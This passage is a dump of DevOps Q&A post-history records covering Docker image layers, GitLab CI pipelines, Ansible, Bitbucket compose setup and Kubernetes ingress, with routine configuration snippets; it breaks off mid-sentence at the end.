  <row Id="37279" PostHistoryTypeId="2" PostId="12135" RevisionGUID="599e8dbc-e691-4a55-93f1-9a911ab46be1" CreationDate="2020-08-04T06:57:47.753" UserId="11278" Text="It appears the issue is in the URL used to access the documents in the blog post excerpt. First of all, the URL should begin with a `/` since the `assets` folder is at the root of the site project. However (and most importantly), I also had to add the `baseurl` to the file URL as shown below:&#xD;&#xA;&#xD;&#xA;blog post excerpt:&#xD;&#xA;&#xD;&#xA;    &lt;ul style=&quot;list-style-type:none&quot;&gt;&#xD;&#xA;        {% for duck in ducks %}&#xD;&#xA;            &lt;h2&gt;{{ duck.name }}&lt;/h2&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;/{{ baseurl }}/assets/v{{ version }}/{{ duck.url }}&quot;&gt;View&lt;/a&gt; | &lt;a href=&quot;/{{ baseurl }}/assets/v{{ version }}/{{ duck.url }}&quot; download&gt;Download&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        {% endfor %}&#xD;&#xA;    &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;If I weren't building my post entries from a template the link would actually be `/{{ site.baseurl }}/assets/v{{ version }}/{{ duck.url }}`, but Jinja does not understand the `site.baseurl` object when rendering the template. To bypass this, I read the value of the predefined GitLab `CI_PROJECT_PATH` variable and pass it to the template under the name `baseurl` when rendering." ContentLicense="CC BY-SA 4.0" />
  <row Id="37280" PostHistoryTypeId="2" PostId="12136" RevisionGUID="7a72273e-d3ea-4a6f-a81c-5e733c285ff8" CreationDate="2020-08-04T08:24:38.323" UserId="12474" Text="I see [here](https://www.youtube.com/watch?v=oO8n3y23b6M#t=9m10s) that &#xD;&#xA;&#xD;&#xA;&gt; Docker best practices says .. minimise the number of layers in our images&#xD;&#xA;&#xD;&#xA;The tips given are to chain multiple lines in the dockerfile with `\` so as to combine many lines of code into single commands. A specific example being:&#xD;&#xA;&#xD;&#xA;Acceptable:&#xD;&#xA;```&#xD;&#xA;RUN pip install jupyter&#xD;&#xA;&#xD;&#xA;RUN pip install pandas&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Better:&#xD;&#xA;```&#xD;&#xA;RUN pip install jupyter &amp;&amp; \&#xD;&#xA;RUN pip install pandas&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From this knowledge, I understand what should be done, however, I don't understand why. What are the advantages of minimising the number of layers in a Docker image? (or, conversely, what are the *dis*advantages of *not* doing so?)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37281" PostHistoryTypeId="1" PostId="12136" RevisionGUID="7a72273e-d3ea-4a6f-a81c-5e733c285ff8" CreationDate="2020-08-04T08:24:38.323" UserId="12474" Text="Why is it Docker best practice to minimise the number of layers in an image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37282" PostHistoryTypeId="3" PostId="12136" RevisionGUID="7a72273e-d3ea-4a6f-a81c-5e733c285ff8" CreationDate="2020-08-04T08:24:38.323" UserId="12474" Text="&lt;docker&gt;&lt;containers&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37286" PostHistoryTypeId="2" PostId="12138" RevisionGUID="8791fc3d-a081-476c-b243-f92cd9ca41b2" CreationDate="2020-08-04T09:19:34.257" UserId="23418" Text="I am looking for a way to execute some actions before and after each role has run.&#xD;&#xA;`pre_tasks` and `post_tasks` look like a good candidate, but I have found no way to include them transparently for all defined roles/playbooks. I don't want to add these manually to all playbooks since this seems like a maintenance nightmare.&#xD;&#xA;&#xD;&#xA;Another angle to solve this might be to abuse the fact that Ansible logs in via ssh. However I am not aware of any identifying properties of an Ansible login as opposed to a regular user login.&#xD;&#xA;&#xD;&#xA;My specific issue is:&#xD;&#xA;I want to trigger [etckeeper](http://etckeeper.branchable.com/) before and after each execution of a role.&#xD;&#xA;&#xD;&#xA;If you have any other &quot;out-of-the-box&quot; ideas to solve this, I will be grateful to hear them.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37287" PostHistoryTypeId="1" PostId="12138" RevisionGUID="8791fc3d-a081-476c-b243-f92cd9ca41b2" CreationDate="2020-08-04T09:19:34.257" UserId="23418" Text="Include pre- and post_tasks transparently for all Ansible roles" ContentLicense="CC BY-SA 4.0" />
  <row Id="37288" PostHistoryTypeId="3" PostId="12138" RevisionGUID="8791fc3d-a081-476c-b243-f92cd9ca41b2" CreationDate="2020-08-04T09:19:34.257" UserId="23418" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37289" PostHistoryTypeId="5" PostId="12131" RevisionGUID="e8bd595c-d258-4aa4-9994-9cc522d8ab03" CreationDate="2020-08-04T09:25:45.953" UserId="12864" Comment="added 11 characters in body" Text="What you need is not to checkout both projects side by side, but to add the library as a [Git submodule][1] in your application repository.&#xD;&#xA;&#xD;&#xA;Then [set up GitLab CI][2] to checkout submodules before build.&#xD;&#xA;&#xD;&#xA;This will not only make your CI work, but as an added benefit each commit from application repository will reference a specific commit from library repository, so  nobody will have to remember what commit to checkout in library repository to ensure the application builds correctly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/book/en/v2/Git-Tools-Submodules&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/ci/git_submodules.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37293" PostHistoryTypeId="5" PostId="12131" RevisionGUID="2ff52ad3-1320-472e-aa1d-01a4536828ad" CreationDate="2020-08-04T09:41:01.893" UserId="12864" Comment="added 656 characters in body" Text="What you need is not to checkout both projects side by side, but to add the library as a [Git submodule][1] in your application repository.&#xD;&#xA;&#xD;&#xA;Then [set up GitLab CI][2] to checkout submodules before build.&#xD;&#xA;&#xD;&#xA;This will not only make your CI work, but as an added benefit each commit from application repository will reference a specific commit from library repository, so  nobody will have to remember what commit to checkout in library repository to ensure the application builds correctly.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;To be clear, I'm not saying that [composite builds][3] (which is a proper name for your setup) are always bad, but I believe that they should be used for optional dependencies (like JetBrains did in their [kotlin-native repository][4]) or when developers need need to have an option of replacing dependency norally pulled from some Maven repository with locally build version (eg. to test if their app works with some changes in the library before submitting pull/merge request for the library) and not for everyday use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/book/en/v2/Git-Tools-Submodules&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/ci/git_submodules.html&#xD;&#xA;  [3]: https://docs.gradle.org/current/userguide/composite_builds.html&#xD;&#xA;  [4]: https://github.com/JetBrains/kotlin-native" ContentLicense="CC BY-SA 4.0" />
  <row Id="37296" PostHistoryTypeId="2" PostId="12140" RevisionGUID="31ee440b-5b51-41a6-9c73-e0e86a589c85" CreationDate="2020-08-04T11:24:25.493" UserId="23207" Text="Since we are using ISTIO as Ingress Gateway with Kubernetes, the issue is related to ISTIO gateway config. &#xD;&#xA;We simply had to replace the matching host to '*' in ISTIO gateway config" ContentLicense="CC BY-SA 4.0" />
  <row Id="37297" PostHistoryTypeId="2" PostId="12141" RevisionGUID="0b2709ec-40c5-40a7-bdef-4cee882fd6c9" CreationDate="2020-08-04T12:14:19.367" UserId="21426" Text="You might be interested in this more flexible Docker Swarm alternative: https://overnode.org/ . You can see it as multi-host docker compose without Swarm, but it is a bit more than this. It has got a great set of features. It also supports static IP addresses. (Disclaimer: I am an author of the project)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37298" PostHistoryTypeId="2" PostId="12142" RevisionGUID="ce03e7b9-d279-4e85-b15f-e31382aebb87" CreationDate="2020-08-04T13:12:19.777" UserId="12864" Text="Since I do not currently have access to a server with Centos installed, I tested my soultion on Ubuntu 20.04. That being said, the whole point of using Docker is to make applications distribution-agnostic, so it should work on Centos as well.&#xD;&#xA;&#xD;&#xA;You're getting an `image does not exist` error, because the image you specified does not, in fact, exist. There is a typo in one line of the README file provided on Docker Hub and you happened to use that line when writing your Compose file.&#xD;&#xA;&#xD;&#xA;That being said, incorect image name is not your only issue. You have not specified a volume for your Bitbucket installation, meaning all of your data will be lost if the container is destroyed. Furthermore, the only way to backup a dockerized Bitbucket installation is to use method described [here][1], which requires using external database.&#xD;&#xA;&#xD;&#xA;With that in mind the minimal Compose file for Bitbucket is:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;      bitbucket:&#xD;&#xA;        hostname: bitbucket&#xD;&#xA;        image: atlassian/bitbucket-server:latest&#xD;&#xA;        environment:&#xD;&#xA;         - JDBC_DRIVER=org.postgresql.Driver&#xD;&#xA;         - JDBC_USER=bitbucketuser&#xD;&#xA;         - JDBC_PASSWORD=jellyfish&#xD;&#xA;         - JDBC_URL=jdbc:postgresql://db:5432/bitbucket&#xD;&#xA;        volumes:&#xD;&#xA;          - bitbucket_data:/var/atlassian/application-data/bitbucket&#xD;&#xA;        ports:&#xD;&#xA;          - 7990:7990&#xD;&#xA;          - 7999:7999&#xD;&#xA;      db:&#xD;&#xA;        hostname: db&#xD;&#xA;        image: postgres:11.2-alpine&#xD;&#xA;        command: -c 'max_prepared_transactions=64'&#xD;&#xA;        environment:&#xD;&#xA;         - POSTGRES_USER=bitbucketuser&#xD;&#xA;         - POSTGRES_PASSWORD=jellyfish&#xD;&#xA;         - POSTGRES_DB=bitbucket&#xD;&#xA;        volumes:&#xD;&#xA;         - db_data:/var/lib/postgresql/data  &#xD;&#xA;    volumes:&#xD;&#xA;      bitbucket_data:&#xD;&#xA;      db_data:&#xD;&#xA;&#xD;&#xA;That can be further extended with httpd or nginx service used as a reverse proxy, which could also be used to enable HTTPS connections to your Bitbucket instance and an Elasticsearch service to replace the embedded one as well as an email server for Bitbucket to use to send various notifications to users.&#xD;&#xA;&#xD;&#xA;I would definitely recommend the SSL-enabled reverse proxy and email server for production. Elasticsearch server is only necessary if you want to run Bitbucket cluster rather than a single instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/display/BitbucketServer/Using+Bitbucket+Server+DIY+Backup" ContentLicense="CC BY-SA 4.0" />
  <row Id="37299" PostHistoryTypeId="5" PostId="12142" RevisionGUID="e30b7537-0837-4313-8f03-7cc4dc0c6510" CreationDate="2020-08-04T13:25:10.080" UserId="12864" Comment="added 37 characters in body" Text="Since I do not currently have access to a server with Centos installed, I tested my soultion on Ubuntu 20.04. That being said, the whole point of using Docker is to make applications distribution-agnostic, so it should work on Centos as well.&#xD;&#xA;&#xD;&#xA;You're getting an `image does not exist` error, because the image you specified does not, in fact, exist. There is a typo in one line of the README file provided on Docker Hub and you happened to use that line when writing your Compose file.&#xD;&#xA;&#xD;&#xA;That being said, incorect image name is not your only issue. You have not specified a volume for your Bitbucket installation, meaning all of your data will be lost if the container is destroyed. Furthermore, the only way to backup a dockerized Bitbucket installation is to use method described [here][1], which requires using external database.&#xD;&#xA;&#xD;&#xA;With that in mind the minimal Compose file for Bitbucket is:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;      bitbucket:&#xD;&#xA;        hostname: bitbucket&#xD;&#xA;        image: atlassian/bitbucket-server:latest&#xD;&#xA;        environment:&#xD;&#xA;         - JDBC_DRIVER=org.postgresql.Driver&#xD;&#xA;         - JDBC_USER=bitbucketuser&#xD;&#xA;         - JDBC_PASSWORD=jellyfish&#xD;&#xA;         - JDBC_URL=jdbc:postgresql://db:5432/bitbucket&#xD;&#xA;        volumes:&#xD;&#xA;          - bitbucket_data:/var/atlassian/application-data/bitbucket&#xD;&#xA;        ports:&#xD;&#xA;          - 7990:7990&#xD;&#xA;          - 7999:7999&#xD;&#xA;        depends_on:&#xD;&#xA;          - db&#xD;&#xA;      db:&#xD;&#xA;        hostname: db&#xD;&#xA;        image: postgres:11.2-alpine&#xD;&#xA;        command: -c 'max_prepared_transactions=64'&#xD;&#xA;        environment:&#xD;&#xA;         - POSTGRES_USER=bitbucketuser&#xD;&#xA;         - POSTGRES_PASSWORD=jellyfish&#xD;&#xA;         - POSTGRES_DB=bitbucket&#xD;&#xA;        volumes:&#xD;&#xA;         - db_data:/var/lib/postgresql/data  &#xD;&#xA;    volumes:&#xD;&#xA;      bitbucket_data:&#xD;&#xA;      db_data:&#xD;&#xA;&#xD;&#xA;That can be further extended with httpd or nginx service used as a reverse proxy, which could also be used to enable HTTPS connections to your Bitbucket instance and an Elasticsearch service to replace the embedded one as well as an email server for Bitbucket to use to send various notifications to users.&#xD;&#xA;&#xD;&#xA;I would definitely recommend the SSL-enabled reverse proxy and email server for production. Elasticsearch server is only necessary if you want to run Bitbucket cluster rather than a single instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/display/BitbucketServer/Using+Bitbucket+Server+DIY+Backup" ContentLicense="CC BY-SA 4.0" />
  <row Id="37300" PostHistoryTypeId="2" PostId="12143" RevisionGUID="5bcae16b-ce69-42fb-a14a-71895a8e7b34" CreationDate="2020-08-04T14:41:02.283" UserId="23358" Text="I switched to using a production build for testing by use of a local webserver. I leveraging the `[jest-puppeteer][1]` library which allows you to start a webserver with your tests.&#xD;&#xA;&#xD;&#xA;**jest-puppeteer.config.js**&#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;     * find all flags at the following site @jkr&#xD;&#xA;     * https://jestjs.io/docs/en/cli&#xD;&#xA;     */&#xD;&#xA;    &#xD;&#xA;    module.exports = {&#xD;&#xA;        launch: {&#xD;&#xA;            devtools: true, // allows for use of 'debugger;' in tests&#xD;&#xA;            // executablePath: '/usr/bin/chromium-browser',&#xD;&#xA;            headless: true,&#xD;&#xA;            defaultViewport: {&#xD;&#xA;                width: 1024,&#xD;&#xA;                height: 768,&#xD;&#xA;                //isMobile: true,&#xD;&#xA;                //hasTouch: true,&#xD;&#xA;            },&#xD;&#xA;            ignoreDefaultArgs: ['--disable-extensions'],&#xD;&#xA;            args: [&#xD;&#xA;                '--enable-font-antialiasing',&#xD;&#xA;                '--font-render-hinting=medium',&#xD;&#xA;                '--disable-gpu',&#xD;&#xA;                '--disable-dev-shm-usage',&#xD;&#xA;                '--disable-setuid-sandbox',&#xD;&#xA;                '--no-first-run',&#xD;&#xA;                '--no-sandbox', // GOOD&#xD;&#xA;                '--no-zygote',&#xD;&#xA;                '--single-process', // GOOD&#xD;&#xA;    &#xD;&#xA;                &quot;--renderer&quot;,&#xD;&#xA;                &quot;--no-service-autorun&quot;,&#xD;&#xA;                &quot;--no-experiments&quot;,&#xD;&#xA;                &quot;--no-default-browser-check&quot;,&#xD;&#xA;                &quot;--disable-extensions&quot;,&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        server: { // launches webserver just for tests @jkr&#xD;&#xA;            // command: 'node server.js',&#xD;&#xA;            command: 'npm run test:webserver'&#xD;&#xA;            // port: 4444,&#xD;&#xA;        },&#xD;&#xA;        browser: 'chromium',&#xD;&#xA;        browserContext: 'default'&#xD;&#xA;    };&#xD;&#xA;&#xD;&#xA;**.gitlab-ci.yml**&#xD;&#xA;&#xD;&#xA;    image: node:10.19.0 # https://hub.docker.com/_/node/&#xD;&#xA;    # image: node:latest&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;      # untracked: true&#xD;&#xA;      key: my-project-name&#xD;&#xA;      # key: ${CI_COMMIT_REF_SLUG} # per branch&#xD;&#xA;      # key:&#xD;&#xA;      #   files:&#xD;&#xA;      #     - package-lock.json # only update cache when this file changes (not working) @jkr&#xD;&#xA;      paths:&#xD;&#xA;        - .npm/&#xD;&#xA;        - node_modules&#xD;&#xA;        - build&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - prepare # can install ci-deps here ? @jkr&#xD;&#xA;      - test # uses test:build specifically @jkr&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    # before_install:&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - npm ci --cache .npm --prefer-offline #&#xD;&#xA;    #   # - apt-get update &amp;&amp; apt-get install -y lftp gconf-service libasound2 libatk1.0-0 libatk-bridge2.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget&#xD;&#xA;    #   - if [ ! -d &quot;node_modules&quot; ]; then set NODE_ENV=dev &amp;&amp; npm install; fi # make sure dev dependencies are installed todo: 'if' needs to be verified working @jkr&#xD;&#xA;    #   # - npm install&#xD;&#xA;    #   # - if [ ! -d &quot;build&quot; ]; then npm run build; fi&#xD;&#xA;    &#xD;&#xA;    prepare: # could this job be in a before_script for test ? @jkr&#xD;&#xA;      stage: prepare&#xD;&#xA;      script:&#xD;&#xA;        - npm install&#xD;&#xA;        - npm run build:test&#xD;&#xA;      # cache:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - node_modules&#xD;&#xA;      #   policy: push&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - npm run test:ci-deps&#xD;&#xA;        - npm run test:e2e # runs puppeteer tests @jkr&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - npm run build&#xD;&#xA;      # artifacts:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - build&#xD;&#xA;    &#xD;&#xA;    deploy-ftp:&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;        - lftp -e &quot;open ftp.my.domain.com; user $MJA_FTP_USER $MJA_FTP_PASS; mirror --reverse --verbose build/ /var/www/domains/dev/projects/my-project/build/; bye&quot;&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: http://my.domain.com/my-project/build&#xD;&#xA;      when: manual&#xD;&#xA;      only:&#xD;&#xA;        - dev&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.npmjs.com/package/jest-puppeteer" ContentLicense="CC BY-SA 4.0" />
  <row Id="37301" PostHistoryTypeId="5" PostId="12103" RevisionGUID="9e90e98f-966e-4100-a36e-1bad9db0d95a" CreationDate="2020-08-04T14:41:40.993" UserId="23358" Comment="deleted 257 characters in body" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;I'm working on getting my end-to-end tests to work in a GitLab pipeline. Currently all the tests run locally but I'm having an issue getting them to run using GitLab's continuous integration feature.&#xD;&#xA;&#xD;&#xA;When running the tests locally puppeteer will use a headless version of chrome for end-to-end tests but the ReactJS' CRA server ***has*** to be running for this to work. To get the CRA server running locally I use `npm start` in one terminal and once it is fully running I can run `npm test` in a different terminal. During testing Puppeteer uses headless Chromium to run e2e tests on the site.&#xD;&#xA;&#xD;&#xA;**The Issue**&#xD;&#xA;&#xD;&#xA;`npm start` starts my CRA server but that process doesn't stop as I'm not sure how to stop it unless I manually quit it. This hangs docker and blocks me from ever starting my tests.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How can I start my application with `npm start` and once it starts then run `npm run test:e2e` ? Ultimately I'd like to quit CRA once the tests are completed.&#xD;&#xA;&#xD;&#xA;**Current Pipeline yml**&#xD;&#xA;&#xD;&#xA;    image: node:10.19.0&#xD;&#xA;    stages:&#xD;&#xA;      - test&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;      # untracked: true&#xD;&#xA;      key:&#xD;&#xA;        files:&#xD;&#xA;          - package-lock.json&#xD;&#xA;      paths:&#xD;&#xA;        - node_modules&#xD;&#xA;    #test_async:&#xD;&#xA;    #  script:&#xD;&#xA;    #    - npm install&#xD;&#xA;    #    - node ./specs/start.js ./specs/async.spec.js&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - apt-get update &amp;&amp; apt-get install -y lftp gconf-service libasound2 libatk1.0-0 libatk-bridge2.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget&#xD;&#xA;      - if [ ! -d &quot;node_modules&quot; ]; then npm install; fi&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - npm start&#xD;&#xA;        - npm run test:e2e&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - npm run build&#xD;&#xA;    &#xD;&#xA;    # deploy-to-staging:&#xD;&#xA;    #   stage: deploy&#xD;&#xA;    #   script:&#xD;&#xA;    #     - lftp -e &quot;open ftp.mediajackagency.com; user $MJA_FTP_USER $MJA_FTP_PASS; mirror --reverse --verbose build/ /var/www/domains/projects/my-project/build/; bye&quot;&#xD;&#xA;    #   environment:&#xD;&#xA;    #     name: staging&#xD;&#xA;    #     url: http://dev.mediajackagency.com/projects/my-project/build&#xD;&#xA;    #   when: manual&#xD;&#xA;    #   only:&#xD;&#xA;    #     - dev" ContentLicense="CC BY-SA 4.0" />
  <row Id="37303" PostHistoryTypeId="2" PostId="12144" RevisionGUID="1a6af3a6-2d05-48e5-aac1-39a76c983d7c" CreationDate="2020-08-04T16:26:57.337" UserId="17486" Text="I've 3 Debian-10 VMs on a bare metal Proxmox host in my network and installed via Ansible the roles `geerlingguy.docker` and `geerlingguy.kubernetes` with complete default settings. The kubeadm on the master node shows me the three nodes. So, I think, the installation is fine.&#xD;&#xA;&#xD;&#xA;And what now? I'm new to kubernetes, I know there are configs that need to be applied. But how can I &quot;see&quot; them or &quot;change&quot; them via Kubernetes/Ansible. I don't want go back to the command line here. I know about the 'k8s' module - but the examples are not very helpful. A kubernetes should have an ingress controller and some services. Is there a good example playbook for installing Traefik/Haproxy/Nginx/whatever and maybe a small example hello-world-example for Kubernetes? Is there a &quot;map&quot; of possible values for all the YAML options (I used to learn from examples)&#xD;&#xA;&#xD;&#xA;Sorry for the very &quot;open&quot; question. I'm searching for some days now and either my questions to Google are wrong or Google sends me always to the same sites with either very &quot;basic&quot; informations that ends by installing the Kubernetes or very &quot;heavy&quot; information, where the author is far away from easy to read." ContentLicense="CC BY-SA 4.0" />
  <row Id="37304" PostHistoryTypeId="1" PostId="12144" RevisionGUID="1a6af3a6-2d05-48e5-aac1-39a76c983d7c" CreationDate="2020-08-04T16:26:57.337" UserId="17486" Text="Installing ingress controller, services and pods on K8s via Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="37305" PostHistoryTypeId="3" PostId="12144" RevisionGUID="1a6af3a6-2d05-48e5-aac1-39a76c983d7c" CreationDate="2020-08-04T16:26:57.337" UserId="17486" Text="&lt;kubernetes&gt;&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37317" PostHistoryTypeId="2" PostId="12148" RevisionGUID="4e201af3-235e-46da-97b4-441a61aada48" CreationDate="2020-08-05T01:58:57.787" UserId="5051" Text="Use a VPC peering between the two accounts so that your instance from account A will be able to communicate with account B.&#xD;&#xA;&#xD;&#xA;This will work if you have different subnet CIDR blocks in the two accounts. If you have the same (i.e. in both VPC, your subnets are using 192.168.0.1), then change the one that has the least impact and proceed with a VPC peering.&#xD;&#xA;&#xD;&#xA;Finally, you will have to configure your security group to allow the bastion to communicate with the other instance.&#xD;&#xA;&#xD;&#xA;Here are more details for AWS VPC peering: [VPC peering][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/vpc/latest/peering/what-is-vpc-peering.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37318" PostHistoryTypeId="2" PostId="12149" RevisionGUID="56886d2b-9703-4840-a088-1de97350af8c" CreationDate="2020-08-05T02:12:49.763" UserId="5051" Text="Since your new in this platform, I would suggest you to explore in this order (assuming you want to use nginx as the load balancer ingress controller):&#xD;&#xA;&#xD;&#xA;1- Take a look at [this example][1] where they go through creating an nginx application in a k8s cluster.&#xD;&#xA;&#xD;&#xA;2- Look at [this tutorial][2] where the author describes how the communication layers are setup in k8s.&#xD;&#xA;&#xD;&#xA;3- Finally, [look at this][3] to start setting up your ingress controller from the official doc page. Other resources are available to allow you to setup as much as you'd like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/run-application/run-stateless-application-deployment/&#xD;&#xA;  [2]: https://matthewpalmer.net/kubernetes-app-developer/articles/kubernetes-ingress-guide-nginx-example.html&#xD;&#xA;  [3]: https://kubernetes.github.io/ingress-nginx/deploy/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37323" PostHistoryTypeId="2" PostId="12152" RevisionGUID="b01b6f24-d978-475c-89e2-4d618ef360d3" CreationDate="2020-08-05T05:42:28.827" UserId="23442" Text="I have a Jenkins pipeline where after every build I change a file(increase build version in a property file) and checkin back to the git repository. After a build, I commit some differnt code change to the git repo and run the build. One of the following two things happen &#xD;&#xA;&#xD;&#xA;1) Jenkins does not pull the latest code change from git to master machine or slave machine.&#xD;&#xA;2) The build increment checkin stage fails when we checkin from Jenkins slave.&#xD;&#xA;&#xD;&#xA;The only solution is to wipe up the repository and build it again . Our project is a very big one and doing this every time causes a lot of time-wasting.&#xD;&#xA;&#xD;&#xA;What configuration am i missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37324" PostHistoryTypeId="1" PostId="12152" RevisionGUID="b01b6f24-d978-475c-89e2-4d618ef360d3" CreationDate="2020-08-05T05:42:28.827" UserId="23442" Text="Jenkins Not pulling the latest commit into master or slave" ContentLicense="CC BY-SA 4.0" />
  <row Id="37325" PostHistoryTypeId="3" PostId="12152" RevisionGUID="b01b6f24-d978-475c-89e2-4d618ef360d3" CreationDate="2020-08-05T05:42:28.827" UserId="23442" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37333" PostHistoryTypeId="5" PostId="12136" RevisionGUID="15abf425-386d-4f4e-bbd4-406d50ca090f" CreationDate="2020-08-05T08:23:35.660" UserId="12474" Comment="deleted 4 characters in body" Text="I see [here](https://www.youtube.com/watch?v=oO8n3y23b6M#t=9m10s) that &#xD;&#xA;&#xD;&#xA;&gt; Docker best practices says .. minimise the number of layers in our images&#xD;&#xA;&#xD;&#xA;The tips given are to chain multiple lines in the dockerfile with `\` so as to combine many lines of code into single commands. A specific example being:&#xD;&#xA;&#xD;&#xA;Acceptable:&#xD;&#xA;```&#xD;&#xA;RUN pip install jupyter&#xD;&#xA;&#xD;&#xA;RUN pip install pandas&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Better:&#xD;&#xA;```&#xD;&#xA;RUN pip install jupyter &amp;&amp; \&#xD;&#xA;pip install pandas&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From this knowledge, I understand what should be done, however, I don't understand why. What are the advantages of minimising the number of layers in a Docker image? (or, conversely, what are the *dis*advantages of *not* doing so?)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37334" PostHistoryTypeId="4" PostId="12136" RevisionGUID="15abf425-386d-4f4e-bbd4-406d50ca090f" CreationDate="2020-08-05T08:23:35.660" UserId="12474" Comment="deleted 4 characters in body" Text="Why is Docker best practice to minimise the number of layers in an image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37335" PostHistoryTypeId="2" PostId="12154" RevisionGUID="0ed3a63c-e52e-47cc-8ea9-9d9a44ee1a80" CreationDate="2020-08-05T10:07:48.937" UserId="23448" Text="you should minimize the Layers of an Image for following Reasons:&#xD;&#xA; - first, you can only have (afaik) 127 Layers in an Image. &#xD;&#xA; - second: yes, you should include severals Steps in a Single run because of the Copy-On-Write functionality:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;if you run: &#xD;&#xA;```&#xD;&#xA;RUN dd if=/dev/zero of=output.dat  bs=1M  count=10&#xD;&#xA;RUN rm -rf output.dat&#xD;&#xA;```&#xD;&#xA;your image is still 10MB (plus some bytes for the delete Marker)&#xD;&#xA;&#xD;&#xA;instead, you should run:&#xD;&#xA;```&#xD;&#xA;RUN dd if=/dev/zero of=output.dat  bs=1M  count=10 &amp;&amp;\&#xD;&#xA;    rm -rf output.dat &#xD;&#xA;```&#xD;&#xA;then, your image size is not increasing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;surely, this is not the Usual Use-Case, but, for example from a Real-World-Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# install terraform&#xD;&#xA;ENV TF_VERSION=&quot;0.12.16&quot;&#xD;&#xA;RUN curl -LO https://releases.hashicorp.com/terraform/${TF_VERSION}/terraform_${TF_VERSION}_linux_amd64.zip \&#xD;&#xA;  &amp;&amp; unzip terraform_${TF_VERSION}_linux_amd64.zip \&#xD;&#xA;  &amp;&amp; chmod +x ./terraform \&#xD;&#xA;  &amp;&amp; mv ./terraform /usr/local/bin/terraform \&#xD;&#xA;  &amp;&amp; rm terraform_${TF_VERSION}_linux_amd64.zip&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;more informations here: 